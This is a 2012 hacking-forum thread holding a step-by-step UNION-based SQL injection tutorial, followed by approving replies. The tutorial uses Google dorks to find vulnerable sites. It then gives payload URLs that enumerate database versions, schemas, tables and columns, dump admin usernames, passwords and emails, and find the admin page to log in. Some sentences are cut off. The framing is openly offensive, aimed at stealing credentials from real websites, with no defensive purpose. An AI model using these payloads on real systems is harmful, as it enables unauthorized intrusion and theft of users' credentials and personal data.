![]() |
SQL Injection Tutorial - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: SQL Injection Tutorial (/Thread-SQL-Injection-Tutorial--43243) |
SQL Injection Tutorial - Solixious - 09-14-2012 According to Wikipedia, SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. Let us have a look at the contents of this tutorial.. Part One - Website Assessment - Finding a vulnerable website - Determining the amount of columns - Finding which columns are vulnerable Part Two - Gathering Information - Determining the SQL version - Finding the database Part Three - The Good Part - Finding the table names - Finding the column names - Displaying the column contents - Finding the admin page Let us begin now. Part One - Website Assessment In order for us to start exploiting a website we must first know exactly what we are injecting into. This is what we will be covering in Part One along with how to assess the information that we gather. Finding a vulnerable website Vulnerable websites can be found using dorks (I will include a list at the end of this tutorial), either in Google or with an exploit scanner. If you are unfamiliar with the term "dorks", Dorks are website URLs that are possibly vulnerable. In SQL injection these dorks look like this: Code: inurl:page.php?id= This will be inputted into Google's search bar and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection. Now let's say we found the page: Code: http://www.thesite.com/page.php?id=1 Code: http://www.thesite.com/page.php?id=1' Code: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 5 Determining the amount of columns If we want to use commands and get results we must know how many columns there are on a website. To find the number of columns we write a query with incrementing values until we get an error, like this: Code: http://www.thesite.com/page.php?id=1 ORDER BY 1-- <---No error DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY. VERY IMPORTANT! Finding which columns are vulnerable So we know that there are four columns now we have to find out which ones are vulnerable to injection. To do this we will use the UNION and SELECT queries while keeping the double null (--) at the end of the string. Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,2,3,4-- page.php?id=-1 Now after entering that query you should be able to see some numbers somewhere on the page that seem out of place. Those are the numbers of the columns that are vulnerable to injection. We can use those columns to pull information from the database which we will see in Part Two. Part Two - Gathering Information In this part we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site. Determining the SQL version. Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 in order to get what you want. In this tutorial, I will not be covering version 4. If we look back to the end of Part One we saw how to find the vulnerable columns. Using that information we can put together our next query (I will be using column 2 as an example). The command should look like this: Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,@@version,3,4-- If the website still does not display the version try using unhex(hex()) which looks like this: Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4-- Now what you want to see is something along these lines: Code: 5.1.44-community-log NOTE: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it. Finding the database To find the database we use a query like the one below: Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata-- Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,concat(database()),3,4-- Part Three - The Good Part This is the fun part where we will find the usernames, emails and passwords! Finding the table names To find the table names we use a query that is similar to the one used for finding the database with a little bit extra added on: Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- together and gathers that information "from" (FROM) information_schema.tables where the "table schema" (table_schema) can be found in the "database" (database()). NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit which I will explain now. Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1-- Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1-- You now have all the table names! Finding the column names Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s), tblUser(s) and so on but it varies between sites. After deciding which table you think contains the information, use this query (in my example, I'll be using the table name "Admin"): Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"-- turned on. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex. UPDATE: If you get an error at this point all you must do is follow these steps: 1. Copy the name of the table that you are trying to access. 2. Paste the name of the table into this website where it says "Say Hello To My Little Friend". Hex/Char Converter http://www.swingnote.com/tools/texttohex.php 3. Click convert. 4. Copy the string of numbers/letters under Hex into your query so it looks like this: Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e-- You should now see a list of all the columns within the table such as username, password, and email. NOTE: Using the limit function does work with columns as well. Displaying the column contents We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we want to see and then use this query (in this example I want to view the columns "username", "password", and "email", and my database name will be "db123"). This is where the database name comes in handy: Code: http://www.thesite.com/page.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM db123.Admin-- ![]() FINALLY! Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page which brings us to Section Four. Finding the admin page Usually the admin page will be directly off of the site's home page, here are some examples: Code: http://www.thesite.com/admin Once again there are programs that will find the page for you but first try some of the basic guesses, it might save you a couple of clicks. If you do use a program Reiluke has coded one for that as well. Search Admin Finder by Reiluke. And that conlcudes my tutorial! I hope it was helpful to some of you. Remember to keep practicing and eventually you'll have all of the queries memorized in no time! Comment and Rate! Also I would like put a commonly used dork list. Code: Dork List Credits to whoever the original author is. RE: +++SQL Injection Tutorial+++ - biddiee - 09-15-2012 Please, how can one get the software to run this? RE: +++SQL Injection Tutorial+++ - chipp - 09-16-2012 most of SQL injection don't use softwares... AFAIK... RE: +++SQL Injection Tutorial+++ - Solixious - 09-19-2012 I've never used a software myself, but I've heard that Havij is a good software for SQLi. RE: +++SQL Injection Tutorial+++ - Dawnc0re - 09-19-2012 Nice Detailed Tutorial ![]() Keep it UP! RE: +++SQL Injection Tutorial+++ - blackrosevn - 09-20-2012 Very usefull tutorial. Keep it up RE: +++SQL Injection Tutorial+++ - Solixious - 09-20-2012 (09-19-2012, 09:56 AM)Dawnc0re Wrote: Nice Detailed TutorialThanks a lot Dawnc0re. RE: +++SQL Injection Tutorial+++ - The Alchemist - 09-20-2012 Nicely made... Well detailed... Neat work... RE: +++SQL Injection Tutorial+++ - Solixious - 09-20-2012 (09-20-2012, 04:30 AM)blackrosevn Wrote: Very usefull tutorial. Thank you (09-20-2012, 05:33 AM)The Alchemist Wrote: Nicely made... Well detailed... Neat work... I was waiting for your reply ![]() RE: +++SQL Injection Tutorial+++ - soldi3r - 11-07-2012 awesome post.. very informative. ![]() |